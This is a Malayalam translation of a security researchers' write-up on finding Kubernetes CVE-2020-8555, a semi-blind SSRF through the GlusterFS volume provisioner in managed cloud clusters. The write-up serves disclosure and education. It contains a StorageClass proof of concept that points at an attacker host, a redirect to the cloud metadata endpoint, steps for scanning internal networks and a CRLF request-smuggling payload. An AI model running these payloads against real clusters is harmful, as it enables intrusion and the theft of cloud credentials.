ഇത് കുബർനെറ്റസ് കേടുപാടുകൾ മാത്രമല്ല...

കുറിപ്പ്. വിവർത്തനം.: ഈ ലേഖനത്തിന്റെ രചയിതാക്കൾ എങ്ങനെയാണ് അപകടസാധ്യത കണ്ടെത്തുന്നത് എന്നതിനെക്കുറിച്ച് വിശദമായി സംസാരിക്കുന്നു CVE-2020–8555 കുബെർനെറ്റസിൽ. തുടക്കത്തിൽ ഇത് വളരെ അപകടകരമായി തോന്നിയില്ലെങ്കിലും, മറ്റ് ഘടകങ്ങളുമായി സംയോജിച്ച് അതിന്റെ നിർണായകത ചില ക്ലൗഡ് ദാതാക്കൾക്ക് പരമാവധി ആയി മാറി. നിരവധി സംഘടനകൾ അവരുടെ പ്രവർത്തനത്തിന് സ്പെഷ്യലിസ്റ്റുകൾക്ക് ഉദാരമായി പ്രതിഫലം നൽകി.

നമ്മളാരാണ്

ഞങ്ങൾ രണ്ട് ഫ്രഞ്ച് സുരക്ഷാ ഗവേഷകരാണ്, അവർ സംയുക്തമായി കുബർനെറ്റസിൽ ഒരു അപകടസാധ്യത കണ്ടെത്തി ഞങ്ങളുടെ പേരുകൾ ബ്രൈസ് ഓഗ്രസ്, ക്രിസ്റ്റോഫ് ഹോക്വിയർ, എന്നാൽ പല ബഗ് ബൗണ്ടി പ്ലാറ്റ്‌ഫോമുകളിലും ഞങ്ങൾ യഥാക്രമം Reeverzax എന്നും Hach എന്നും അറിയപ്പെടുന്നു:

• ബ്രൈസ് ഓഗ്രാസ് - ഗ്രൂപ്പ് ആസ്റ്റൺ കമ്പനി;
• ക്രിസ്റ്റോഫ് ഹോക്വിയേർട്ട് - നോക്കിയയിലെ കുബർനെറ്റസ് ആർക്കിടെക്റ്റ്.

എന്ത് സംഭവിച്ചു?

ഒരു സാധാരണ ഗവേഷണ പ്രോജക്റ്റ് അപ്രതീക്ഷിതമായി ബഗ് വേട്ടക്കാരുടെ ജീവിതത്തിലെ ഏറ്റവും ആവേശകരമായ സാഹസികതയായി മാറിയതെങ്ങനെയെന്ന് പങ്കിടുന്നതിനുള്ള ഞങ്ങളുടെ മാർഗമാണ് ഈ ലേഖനം (കുറഞ്ഞത് ഇപ്പോഴെങ്കിലും).

നിങ്ങൾക്കറിയാവുന്നതുപോലെ, ബഗ് വേട്ടക്കാർക്ക് ശ്രദ്ധേയമായ രണ്ട് സവിശേഷതകൾ ഉണ്ട്:

• അവർ പിസ്സയും ബിയറും കഴിച്ചാണ് ജീവിക്കുന്നത്;
• എല്ലാവരും ഉറങ്ങുമ്പോൾ അവർ ജോലി ചെയ്യുന്നു.

ഈ നിയമങ്ങളിൽ നിന്ന് ഞങ്ങൾ ഒരു അപവാദമല്ല: ഞങ്ങൾ സാധാരണയായി വാരാന്ത്യങ്ങളിൽ കണ്ടുമുട്ടുകയും ഉറക്കമില്ലാത്ത രാത്രികൾ ഹാക്കിംഗ് നടത്തുകയും ചെയ്യുന്നു. എന്നാൽ ഈ രാത്രികളിൽ ഒന്ന് വളരെ അസാധാരണമായ രീതിയിൽ അവസാനിച്ചു.

പങ്കാളിത്തം ചർച്ച ചെയ്യാൻ ഞങ്ങൾ ആദ്യം ഒത്തുകൂടാൻ പോവുകയായിരുന്നു സി.ടി.എഫ് അടുത്ത ദിവസം. നിയന്ത്രിത സേവന പരിതസ്ഥിതിയിൽ കുബെർനെറ്റസ് സുരക്ഷയെക്കുറിച്ചുള്ള ഒരു സംഭാഷണത്തിനിടെ, ഞങ്ങൾ SSRF-ന്റെ പഴയ ആശയം ഓർത്തു.സെർവർ-സൈഡ് അഭ്യർത്ഥന വ്യാജം) കൂടാതെ ഇത് ഒരു ആക്രമണ സ്ക്രിപ്റ്റായി ഉപയോഗിക്കാൻ തീരുമാനിച്ചു.

രാത്രി 11 മണിക്ക് ഞങ്ങൾ ഗവേഷണത്തിനായി ഇരുന്നു, ഫലങ്ങളിൽ വളരെ സംതൃപ്തരായി അതിരാവിലെ തന്നെ ഉറങ്ങാൻ കിടന്നു. ഈ ഗവേഷണം മൂലമാണ് ഞങ്ങൾ MSRC ബഗ് ബൗണ്ടി പ്രോഗ്രാം കാണാനിടയായതും ഒരു പ്രത്യേകാവകാശ വർദ്ധന ചൂഷണം കൊണ്ടുവന്നതും.

നിരവധി ആഴ്‌ചകൾ/മാസങ്ങൾ കടന്നുപോയി, ഞങ്ങളുടെ അപ്രതീക്ഷിത ഫലം അസൂർ ക്ലൗഡ് ബഗ് ബൗണ്ടിയുടെ ചരിത്രത്തിലെ ഏറ്റവും ഉയർന്ന റിവാർഡുകളിൽ ഒന്നിന് കാരണമായി - കുബർനെറ്റസിൽ നിന്ന് ഞങ്ങൾക്ക് ലഭിച്ചതിന് പുറമേ!

ഞങ്ങളുടെ ഗവേഷണ പ്രോജക്റ്റിനെ അടിസ്ഥാനമാക്കി, കുബർനെറ്റസ് ഉൽപ്പന്ന സുരക്ഷാ സമിതി പ്രസിദ്ധീകരിച്ചു CVE-2020–8555.

ഇപ്പോൾ കണ്ടെത്തിയ അപകടസാധ്യതയെക്കുറിച്ചുള്ള വിവരങ്ങൾ കഴിയുന്നത്ര പ്രചരിപ്പിക്കാൻ ഞാൻ ആഗ്രഹിക്കുന്നു. നിങ്ങൾ കണ്ടെത്തിയതിനെ അഭിനന്ദിക്കുകയും സാങ്കേതിക വിശദാംശങ്ങൾ ഇൻഫോസെക് കമ്മ്യൂണിറ്റിയിലെ മറ്റ് അംഗങ്ങളുമായി പങ്കിടുകയും ചെയ്യുമെന്ന് ഞങ്ങൾ പ്രതീക്ഷിക്കുന്നു!

എങ്കിൽ ഇതാ നമ്മുടെ കഥ...

സന്ദർഭം

എന്താണ് സംഭവിച്ചതെന്ന് മനസ്സിലാക്കാൻ, ക്ലൗഡ് നിയന്ത്രിത പരിതസ്ഥിതിയിൽ കുബർനെറ്റസ് എങ്ങനെ പ്രവർത്തിക്കുന്നുവെന്ന് ആദ്യം നോക്കാം.

അത്തരമൊരു പരിതസ്ഥിതിയിൽ നിങ്ങൾ ഒരു കുബർനെറ്റസ് ക്ലസ്റ്ററിനെ തൽക്ഷണം നടത്തുമ്പോൾ, മാനേജ്മെന്റ് ലെയർ സാധാരണയായി ക്ലൗഡ് ദാതാവിന്റെ ഉത്തരവാദിത്തമാണ്:

കൺട്രോൾ ലെയർ ക്ലൗഡ് ദാതാവിന്റെ പരിധിയിലാണ് സ്ഥിതി ചെയ്യുന്നത്, അതേസമയം കുബർനെറ്റസ് നോഡുകൾ ഉപഭോക്താവിന്റെ പരിധിയിലാണ്.

വോള്യങ്ങൾ ചലനാത്മകമായി അനുവദിക്കുന്നതിന്, ഒരു ബാഹ്യ സംഭരണ ​​ബാക്കെൻഡിൽ നിന്ന് അവയെ ചലനാത്മകമായി പ്രൊവിഷൻ ചെയ്യാനും അവയെ പിവിസിയുമായി താരതമ്യം ചെയ്യാനും ഒരു സംവിധാനം ഉപയോഗിക്കുന്നു (പെർസിസ്റ്റന്റ് വോളിയം ക്ലെയിം, അതായത് ഒരു വോളിയത്തിനായുള്ള അഭ്യർത്ഥന).

അങ്ങനെ, PVC സൃഷ്ടിച്ച് K8s ക്ലസ്റ്ററിലെ StorageClass-ലേക്ക് ബന്ധിപ്പിച്ച ശേഷം, വോളിയം നൽകുന്നതിനുള്ള തുടർ പ്രവർത്തനങ്ങൾ kube/Cloud കൺട്രോളർ മാനേജർ ഏറ്റെടുക്കുന്നു (അതിന്റെ കൃത്യമായ പേര് റിലീസിനെ ആശ്രയിച്ചിരിക്കുന്നു). (കുറിപ്പ്. വിവർത്തനം.: ക്ലൗഡ് ദാതാക്കളിൽ ഒരാൾക്ക് CCM നടപ്പിലാക്കുന്നതിന്റെ ഉദാഹരണം ഉപയോഗിച്ച് ഞങ്ങൾ ഇതിനകം തന്നെ അതിനെ കുറിച്ച് കൂടുതൽ എഴുതിയിട്ടുണ്ട് ഇവിടെ.)

കുബെർനെറ്റസ് പിന്തുണയ്ക്കുന്ന നിരവധി തരം പ്രൊവിഷനർമാർ ഉണ്ട്: അവയിൽ മിക്കതും ഉൾപ്പെടുത്തിയിട്ടുണ്ട് ഓർക്കസ്ട്രേറ്റർ കോർ, മറ്റുള്ളവ കൈകാര്യം ചെയ്യുന്നത് ക്ലസ്റ്ററിലെ പോഡുകളിൽ സ്ഥാപിച്ചിരിക്കുന്ന അധിക പ്രൊവിഷനർമാരാണ്.

ഞങ്ങളുടെ ഗവേഷണത്തിൽ, ഞങ്ങൾ ആന്തരിക വോളിയം പ്രൊവിഷനിംഗ് മെക്കാനിസത്തിൽ ശ്രദ്ധ കേന്ദ്രീകരിച്ചു, അത് ചുവടെ ചിത്രീകരിച്ചിരിക്കുന്നു:

ബിൽറ്റ്-ഇൻ കുബർനെറ്റസ് പ്രൊവിഷനർ ഉപയോഗിച്ച് വോള്യങ്ങളുടെ ഡൈനാമിക് പ്രൊവിഷനിംഗ്

ചുരുക്കത്തിൽ, ഒരു നിയന്ത്രിത പരിതസ്ഥിതിയിൽ Kubernetes വിന്യസിക്കുമ്പോൾ, കൺട്രോളർ മാനേജർ ക്ലൗഡ് ദാതാവിന്റെ ഉത്തരവാദിത്തമാണ്, എന്നാൽ വോളിയം സൃഷ്‌ടിക്കൽ അഭ്യർത്ഥന (മുകളിലുള്ള ഡയഗ്രാമിലെ നമ്പർ 3) ക്ലൗഡ് ദാതാവിന്റെ ആന്തരിക നെറ്റ്‌വർക്കിൽ നിന്ന് പുറത്തുപോകുന്നു. ഇവിടെയാണ് കാര്യങ്ങൾ ശരിക്കും രസകരമാകുന്നത്!

ഹാക്കിംഗ് രംഗം

ഈ വിഭാഗത്തിൽ, മുകളിൽ സൂചിപ്പിച്ച വർക്ക്ഫ്ലോ ഞങ്ങൾ എങ്ങനെ പ്രയോജനപ്പെടുത്തി ക്ലൗഡ് സേവന ദാതാവിന്റെ ആന്തരിക ഉറവിടങ്ങൾ ആക്‌സസ് ചെയ്‌തുവെന്ന് ഞങ്ങൾ വിശദീകരിക്കും. ആന്തരിക ക്രെഡൻഷ്യലുകൾ നേടുകയോ പ്രത്യേകാവകാശങ്ങൾ വർദ്ധിപ്പിക്കുകയോ പോലുള്ള ചില പ്രവർത്തനങ്ങൾ നിങ്ങൾക്ക് എങ്ങനെ ചെയ്യാമെന്നും ഇത് നിങ്ങളെ കാണിക്കും.

ഒരു ലളിതമായ കൃത്രിമത്വം (ഈ സാഹചര്യത്തിൽ, സർവീസ് സൈഡ് അഭ്യർത്ഥന വ്യാജം) ക്ലയന്റ് പരിതസ്ഥിതിക്ക് അപ്പുറത്തേക്ക് നിയന്ത്രിത K8- ന് കീഴിൽ വിവിധ സേവന ദാതാക്കളുടെ ക്ലസ്റ്ററുകളിലേക്ക് പോകാൻ സഹായിച്ചു.

ഞങ്ങളുടെ ഗവേഷണത്തിൽ ഞങ്ങൾ GlusterFS പ്രൊവിഷനറിൽ ശ്രദ്ധ കേന്ദ്രീകരിച്ചു. പ്രവർത്തനങ്ങളുടെ തുടർ ക്രമം ഈ സന്ദർഭത്തിൽ വിവരിച്ചിട്ടുണ്ടെങ്കിലും, Quobyte, StorageOS, ScaleIO എന്നിവ ഒരേ അപകടസാധ്യതയ്ക്ക് വിധേയമാണ്.

ഡൈനാമിക് വോളിയം പ്രൊവിഷനിംഗ് മെക്കാനിസത്തിന്റെ ദുരുപയോഗം

സ്റ്റോറേജ് ക്ലാസ് വിശകലന സമയത്ത് ഗ്ലസ്റ്റർഎഫ്എസ് Golang ക്ലയന്റ് സോഴ്സ് കോഡിൽ ഞങ്ങൾ ശ്രദ്ധിച്ചുവോളിയം സൃഷ്ടിക്കുന്ന സമയത്ത് അയച്ച ആദ്യത്തെ HTTP അഭ്യർത്ഥനയിൽ (3), പാരാമീറ്ററിലെ ഇഷ്‌ടാനുസൃത URL-ന്റെ അവസാനം വരെ resturl ചേർത്തു /volumes.

ചേർത്തുകൊണ്ട് ഈ അധിക പാത ഒഴിവാക്കാൻ ഞങ്ങൾ തീരുമാനിച്ചു # പരാമീറ്ററിൽ resturl. ഒരു സെമി-ബ്ലൈൻഡ് SSRF ദുർബലത പരിശോധിക്കാൻ ഞങ്ങൾ ഉപയോഗിച്ച ആദ്യത്തെ YAML കോൺഫിഗറേഷൻ ഇതാ (അർദ്ധ-അന്ധമായ അല്ലെങ്കിൽ അർദ്ധ-അന്ധനായ SSRF-നെ കുറിച്ച് നിങ്ങൾക്ക് കൂടുതൽ വായിക്കാം, ഉദാഹരണത്തിന്, ഇവിടെ - ഏകദേശം. പരിഭാഷ.):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

കുബർനെറ്റസ് ക്ലസ്റ്ററിനെ വിദൂരമായി നിയന്ത്രിക്കാൻ ഞങ്ങൾ ബൈനറി ഉപയോഗിച്ചു കുബെക്ലി. സാധാരണയായി, ക്ലൗഡ് ദാതാക്കൾ (Azure, Google, AWS, മുതലായവ) ഈ യൂട്ടിലിറ്റിയിൽ ഉപയോഗിക്കുന്നതിനുള്ള ക്രെഡൻഷ്യലുകൾ നേടാൻ നിങ്ങളെ അനുവദിക്കുന്നു.

ഇതിന് നന്ദി, എനിക്ക് എന്റെ "പ്രത്യേക" ഫയൽ ഉപയോഗിക്കാൻ കഴിഞ്ഞു. തത്ഫലമായുണ്ടാകുന്ന HTTP അഭ്യർത്ഥന Kube-controller-manager നടപ്പിലാക്കി:

kubectl create -f sc-poc.yaml

ആക്രമണകാരിയുടെ കാഴ്ചപ്പാടിൽ നിന്നുള്ള ഉത്തരം

ഇതിന് തൊട്ടുപിന്നാലെ, ടാർഗെറ്റ് സെർവറിൽ നിന്ന് - കമാൻഡുകൾ വഴി ഒരു HTTP പ്രതികരണം സ്വീകരിക്കാനും ഞങ്ങൾക്ക് കഴിഞ്ഞു describe pvc അഥവാ get events kubectl ൽ. തീർച്ചയായും: ഈ ഡിഫോൾട്ട് Kubernetes ഡ്രൈവർ അതിന്റെ മുന്നറിയിപ്പുകൾ/പിശക് സന്ദേശങ്ങളിൽ വളരെ വാചാലമാണ്...

ലിങ്ക് ഉള്ള ഒരു ഉദാഹരണം ഇതാ https://www.google.frപരാമീറ്ററായി സജ്ജമാക്കുക resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

ഈ സമീപനത്തിൽ, ഞങ്ങൾ പോലുള്ള ചോദ്യങ്ങളിൽ ഒതുങ്ങി HTTP പോസ്റ്റ് റിട്ടേൺ കോഡ് ആണെങ്കിൽ പ്രതികരണ ബോഡിയുടെ ഉള്ളടക്കം ലഭിക്കില്ല 201. അതിനാൽ, കൂടുതൽ ഗവേഷണം നടത്താൻ ഞങ്ങൾ തീരുമാനിക്കുകയും പുതിയ സമീപനങ്ങളിലൂടെ ഈ ഹാക്കിംഗ് രംഗം വിപുലീകരിക്കുകയും ചെയ്തു.

ഞങ്ങളുടെ ഗവേഷണത്തിന്റെ പരിണാമം

• വിപുലമായ സാഹചര്യം #1: ഒരു ബാഹ്യ സെർവറിൽ നിന്ന് 302 റീഡയറക്‌ട് ഉപയോഗിച്ച്, ആന്തരിക ഡാറ്റ ശേഖരിക്കുന്നതിന് കൂടുതൽ വഴക്കമുള്ള മാർഗം നൽകുന്നതിന് HTTP രീതി മാറ്റുക.
• വിപുലമായ സാഹചര്യം #2: LAN സ്കാനിംഗും ആന്തരിക ഉറവിട കണ്ടെത്തലും ഓട്ടോമേറ്റ് ചെയ്യുക.
• വിപുലമായ സാഹചര്യം #3: HTTP CRLF + കള്ളക്കടത്ത് ("അഭ്യർത്ഥന കള്ളക്കടത്ത്") ഉപയോഗിച്ച്, അനുയോജ്യമായ HTTP അഭ്യർത്ഥനകൾ സൃഷ്‌ടിക്കാനും kube-controller ലോഗുകളിൽ നിന്ന് വേർതിരിച്ചെടുത്ത ഡാറ്റ വീണ്ടെടുക്കാനും.

സാങ്കേതിക സവിശേഷതകളും

• വടക്കൻ യൂറോപ്പ് മേഖലയിൽ കുബർനെറ്റസ് പതിപ്പ് 1.12 ഉള്ള അസുർ കുബർനെറ്റസ് സർവീസ് (എകെഎസ്) ഗവേഷണം ഉപയോഗിച്ചു.
• മുകളിൽ വിവരിച്ച സാഹചര്യങ്ങൾ കുബർനെറ്റസിന്റെ ഏറ്റവും പുതിയ റിലീസുകളിൽ നടപ്പിലാക്കിയതാണ്, മൂന്നാമത്തെ സാഹചര്യം ഒഴികെ, കാരണം ഗോലാങ് പതിപ്പ് ≤ 1.12 ഉപയോഗിച്ച് നിർമ്മിച്ച കുബർനെറ്റസ് അദ്ദേഹത്തിന് ആവശ്യമായിരുന്നു.
• ആക്രമണകാരിയുടെ ബാഹ്യ സെർവർ - https://attacker.com.

വിപുലമായ സാഹചര്യം #1: ഒരു HTTP POST അഭ്യർത്ഥന GET-ലേക്ക് റീഡയറക്‌ട് ചെയ്യുകയും സെൻസിറ്റീവ് ഡാറ്റ സ്വീകരിക്കുകയും ചെയ്യുന്നു

ആക്രമണകാരിയുടെ സെർവറിന്റെ കോൺഫിഗറേഷൻ വഴി യഥാർത്ഥ രീതി മെച്ചപ്പെടുത്തി 302 HTTP റീകോഡ്ഒരു POST അഭ്യർത്ഥന ഒരു GET അഭ്യർത്ഥനയായി പരിവർത്തനം ചെയ്യാൻ (ഡയഗ്രാമിലെ ഘട്ടം 4):

ക്ലയന്റിൽനിന്ന് വരുന്ന ആദ്യ അഭ്യർത്ഥന (3). ഗ്ലസ്റ്റർഎഫ്എസ് (കൺട്രോളർ മാനേജർ), ഒരു POST തരമുണ്ട്. ഈ ഘട്ടങ്ങൾ പാലിക്കുന്നതിലൂടെ, ഞങ്ങൾക്ക് ഇത് ഒരു GET ആക്കി മാറ്റാൻ കഴിഞ്ഞു:

• ഒരു പരാമീറ്ററായി resturl StorageClass-ൽ അത് സൂചിപ്പിച്ചിരിക്കുന്നു http://attacker.com/redirect.php.
• അവസാന പോയിന്റ് https://attacker.com/redirect.php ഇനിപ്പറയുന്ന ലൊക്കേഷൻ ഹെഡറിനൊപ്പം 302 HTTP സ്റ്റാറ്റസ് കോഡ് ഉപയോഗിച്ച് പ്രതികരിക്കുന്നു: http://169.254.169.254. ഇത് മറ്റേതെങ്കിലും ആന്തരിക ഉറവിടമാകാം - ഈ സാഹചര്യത്തിൽ, റീഡയറക്‌ട് ലിങ്ക് ഒരു ഉദാഹരണമായി മാത്രം ഉപയോഗിക്കുന്നു.
• സ്ഥിരമായി net/http ലൈബ്രറി Golang അഭ്യർത്ഥന റീഡയറക്‌ട് ചെയ്യുകയും POST നെ 302 സ്റ്റാറ്റസ് കോഡുള്ള GET ആയി പരിവർത്തനം ചെയ്യുകയും ചെയ്യുന്നു, അതിന്റെ ഫലമായി ടാർഗെറ്റ് റിസോഴ്‌സിലേക്ക് HTTP GET അഭ്യർത്ഥന ലഭിക്കുന്നു.

HTTP പ്രതികരണ ബോഡി വായിക്കാൻ നിങ്ങൾ ചെയ്യേണ്ടത് ആവശ്യമാണ് describe പിവിസി ഒബ്ജക്റ്റ്:

kubectl describe pvc xxx

ഞങ്ങൾക്ക് സ്വീകരിക്കാൻ കഴിഞ്ഞ JSON ഫോർമാറ്റിലുള്ള ഒരു HTTP പ്രതികരണത്തിന്റെ ഒരു ഉദാഹരണം ഇതാ:

ഇനിപ്പറയുന്ന പോയിന്റുകൾ കാരണം അക്കാലത്ത് കണ്ടെത്തിയ ദുർബലതയുടെ കഴിവുകൾ പരിമിതമായിരുന്നു:

• ഔട്ട്‌ഗോയിംഗ് അഭ്യർത്ഥനയിൽ HTTP തലക്കെട്ടുകൾ ചേർക്കാനുള്ള കഴിവില്ലായ്മ.
• ബോഡിയിലെ പാരാമീറ്ററുകൾ ഉപയോഗിച്ച് ഒരു POST അഭ്യർത്ഥന നടത്താനുള്ള കഴിവില്ലായ്മ (ഇത് പ്രവർത്തിക്കുന്ന ഒരു etcd ഉദാഹരണത്തിൽ നിന്ന് കീ മൂല്യം അഭ്യർത്ഥിക്കാൻ സൗകര്യപ്രദമാണ് 2379 എൻക്രിപ്റ്റ് ചെയ്യാത്ത HTTP ആണെങ്കിൽ പോർട്ട്).
• സ്റ്റാറ്റസ് കോഡ് 200 ആയിരുന്നപ്പോൾ പ്രതികരണ ബോഡി ഉള്ളടക്കം വീണ്ടെടുക്കാൻ കഴിയാതെ വരികയും പ്രതികരണത്തിന് JSON ഉള്ളടക്ക-തരം ഇല്ലാതിരിക്കുകയും ചെയ്യുന്നു.

വിപുലമായ സാഹചര്യം #2: പ്രാദേശിക നെറ്റ്‌വർക്ക് സ്കാൻ ചെയ്യുന്നു

ക്ലൗഡ് ദാതാവിന്റെ ആന്തരിക നെറ്റ്‌വർക്ക് സ്‌കാൻ ചെയ്യാനും പ്രതികരണങ്ങളെ അടിസ്ഥാനമാക്കി വിവിധ ലിസണിംഗ് സേവനങ്ങൾ (മെറ്റാഡാറ്റ ഇൻസ്‌റ്റൻസ്, കുബെലെറ്റ്, മുതലായവ) പോൾ ചെയ്യാനും ഈ അർദ്ധ-അന്ധമായ SSRF രീതി ഉപയോഗിച്ചു. kube കൺട്രോളർ.

ആദ്യം, Kubernetes ഘടകങ്ങളുടെ സ്റ്റാൻഡേർഡ് ലിസണിംഗ് പോർട്ടുകൾ നിർണ്ണയിച്ചു (8443, 10250, 10251, മുതലായവ), തുടർന്ന് ഞങ്ങൾ സ്കാനിംഗ് പ്രക്രിയ ഓട്ടോമേറ്റ് ചെയ്യേണ്ടതുണ്ട്.

റിസോഴ്‌സുകൾ സ്കാൻ ചെയ്യുന്നതിനുള്ള ഈ രീതി വളരെ നിർദ്ദിഷ്ടവും ക്ലാസിക് സ്കാനറുകൾക്കും SSRF ടൂളുകൾക്കും അനുയോജ്യമല്ലെന്നും കണ്ടതിനാൽ, മുഴുവൻ പ്രക്രിയയും ഓട്ടോമേറ്റ് ചെയ്യുന്ന ഒരു ബാഷ് സ്ക്രിപ്റ്റിൽ ഞങ്ങളുടെ സ്വന്തം തൊഴിലാളികളെ സൃഷ്ടിക്കാൻ ഞങ്ങൾ തീരുമാനിച്ചു.

ഉദാഹരണത്തിന്, ആന്തരിക നെറ്റ്‌വർക്കിന്റെ 172.16.0.0/12 ശ്രേണി വേഗത്തിൽ സ്കാൻ ചെയ്യുന്നതിനായി, 15 തൊഴിലാളികളെ സമാന്തരമായി സമാരംഭിച്ചു. മുകളിലുള്ള IP ശ്രേണി ഒരു ഉദാഹരണമായി മാത്രം തിരഞ്ഞെടുത്തു, അത് നിങ്ങളുടെ നിർദ്ദിഷ്ട സേവന ദാതാവിന്റെ IP ശ്രേണിയിലേക്ക് മാറ്റത്തിന് വിധേയമായേക്കാം.

ഒരു IP വിലാസവും ഒരു പോർട്ടും സ്കാൻ ചെയ്യുന്നതിന്, നിങ്ങൾ ഇനിപ്പറയുന്നവ ചെയ്യേണ്ടതുണ്ട്:

• അവസാനം പരിശോധിച്ച StorageClass ഇല്ലാതാക്കുക;
• മുമ്പ് പരിശോധിച്ച പെർസിസ്റ്റന്റ് വോളിയം ക്ലെയിം നീക്കം ചെയ്യുക;
• IP, പോർട്ട് മൂല്യങ്ങൾ മാറ്റുക sc.yaml;
• ഒരു പുതിയ ഐപിയും പോർട്ടും ഉപയോഗിച്ച് ഒരു സ്റ്റോറേജ്ക്ലാസ് സൃഷ്ടിക്കുക;
• ഒരു പുതിയ പിവിസി സൃഷ്ടിക്കുക;
• PVC-യുടെ വിവരണം ഉപയോഗിച്ച് സ്കാൻ ഫലങ്ങൾ എക്സ്ട്രാക്റ്റ് ചെയ്യുക.

വിപുലമായ സാഹചര്യം #3: CRLF കുത്തിവയ്പ്പ് + കുബർനെറ്റസ് ക്ലസ്റ്ററിന്റെ "പഴയ" പതിപ്പുകളിൽ HTTP കള്ളക്കടത്ത്

ഇതിനുപുറമെ, ദാതാവ് ക്ലയന്റുകൾക്ക് K8s ക്ലസ്റ്ററിന്റെ പഴയ പതിപ്പുകൾ വാഗ്ദാനം ചെയ്യുന്നുവെങ്കിൽ и ക്യൂബ്-കൺട്രോളർ-മാനേജറുടെ ലോഗുകളിലേക്ക് അവർക്ക് പ്രവേശനം നൽകി, പ്രഭാവം കൂടുതൽ പ്രാധാന്യമർഹിച്ചു.

ഒരു ആക്രമണകാരിക്ക് അവന്റെ വിവേചനാധികാരത്തിൽ ഒരു പൂർണ്ണ HTTP പ്രതികരണം ലഭിക്കുന്നതിന് രൂപകൽപ്പന ചെയ്ത HTTP അഭ്യർത്ഥനകൾ മാറ്റുന്നത് വളരെ സൗകര്യപ്രദമാണ്.

അവസാന സാഹചര്യം നടപ്പിലാക്കാൻ, ഇനിപ്പറയുന്ന വ്യവസ്ഥകൾ പാലിക്കേണ്ടതുണ്ട്:

• ഉപയോക്താവിന് kube-controller-manager ലോഗുകളിലേക്ക് ആക്‌സസ് ഉണ്ടായിരിക്കണം (ഉദാഹരണത്തിന്, Azure LogInsights-ൽ).
• കുബർനെറ്റസ് ക്ലസ്റ്റർ 1.12-ൽ താഴെയുള്ള ഗോലാങ്ങിന്റെ പതിപ്പ് ഉപയോഗിക്കണം.

GlusterFS Go ക്ലയന്റും വ്യാജ ടാർഗെറ്റ് സെർവറും തമ്മിലുള്ള ആശയവിനിമയം അനുകരിക്കുന്ന ഒരു പ്രാദേശിക പരിതസ്ഥിതി ഞങ്ങൾ വിന്യസിച്ചു (ഞങ്ങൾ ഇപ്പോൾ PoC പ്രസിദ്ധീകരിക്കുന്നതിൽ നിന്ന് വിട്ടുനിൽക്കും).

കണ്ടെത്തി ദുർബലത, 1.12-ൽ താഴെയുള്ള Golang പതിപ്പുകളെ ബാധിക്കുകയും HTTP കള്ളക്കടത്ത്/CRLF ആക്രമണങ്ങൾ നടത്താൻ ഹാക്കർമാരെ അനുവദിക്കുകയും ചെയ്യുന്നു.

മുകളിൽ വിവരിച്ച അർദ്ധ-അന്ധമായ SSRF സംയോജിപ്പിച്ചുകൊണ്ട് вместе ഇതുപയോഗിച്ച്, kube-controller-manager പിന്നീട് പ്രോസസ്സ് ചെയ്ത ഹെഡറുകൾ, HTTP രീതി, പാരാമീറ്ററുകൾ, ഡാറ്റ എന്നിവ മാറ്റിസ്ഥാപിക്കുന്നത് ഉൾപ്പെടെയുള്ള അഭ്യർത്ഥനകൾ ഞങ്ങൾക്ക് അയയ്‌ക്കാൻ കഴിഞ്ഞു.

ഒരു പരാമീറ്ററിൽ പ്രവർത്തിക്കുന്ന "ഭോഗ" ത്തിന്റെ ഒരു ഉദാഹരണം ഇതാ resturl സമാനമായ ഒരു ആക്രമണ സാഹചര്യം നടപ്പിലാക്കുന്ന സ്റ്റോറേജ്ക്ലാസ്:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

ഫലം ഒരു പിശകാണ് ആവശ്യപ്പെടാത്ത പ്രതികരണം, കൺട്രോളർ ലോഗുകളിൽ രേഖപ്പെടുത്തിയിരിക്കുന്ന ഒരു സന്ദേശം. സ്ഥിരസ്ഥിതിയായി വെർബോസിറ്റി പ്രവർത്തനക്ഷമമാക്കിയതിന് നന്ദി, HTTP പ്രതികരണ സന്ദേശത്തിന്റെ ഉള്ളടക്കങ്ങളും അവിടെ സംരക്ഷിക്കപ്പെടുന്നു.

ആശയത്തിന്റെ തെളിവിന്റെ ചട്ടക്കൂടിനുള്ളിൽ ഇത് ഞങ്ങളുടെ ഏറ്റവും ഫലപ്രദമായ "ചൂണ്ട" ആയിരുന്നു.

ഈ സമീപനം ഉപയോഗിച്ച്, നിയന്ത്രിത k8s ദാതാക്കളുടെ ക്ലസ്റ്ററുകളിൽ ഇനിപ്പറയുന്ന ചില ആക്രമണങ്ങൾ നടത്താൻ ഞങ്ങൾക്ക് കഴിഞ്ഞു: മെറ്റാഡാറ്റ സംഭവങ്ങളിലെ ക്രെഡൻഷ്യലുകളോട് കൂടിയ പ്രത്യേകാവകാശ വർദ്ധനവ്, etcd മാസ്റ്റർ ഇൻസ്‌റ്റൻസുകളിൽ (എൻക്രിപ്റ്റ് ചെയ്യാത്ത) HTTP അഭ്യർത്ഥനകൾ വഴിയുള്ള Master DoS മുതലായവ.

പരിണതഫലങ്ങൾ

ഞങ്ങൾ കണ്ടെത്തിയ SSRF കേടുപാടുകൾ സംബന്ധിച്ച Kubernetes ഔദ്യോഗിക പ്രസ്താവനയിൽ, അത് റേറ്റുചെയ്തു CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. കുബർനെറ്റസ് ചുറ്റളവുമായി ബന്ധപ്പെട്ട കേടുപാടുകൾ മാത്രം പരിഗണിക്കുകയാണെങ്കിൽ, സമഗ്രത വെക്റ്റർ (ഇന്റഗ്രിറ്റി വെക്റ്റർ) ആയി യോഗ്യത നേടുന്നു ഒന്നുമില്ല.

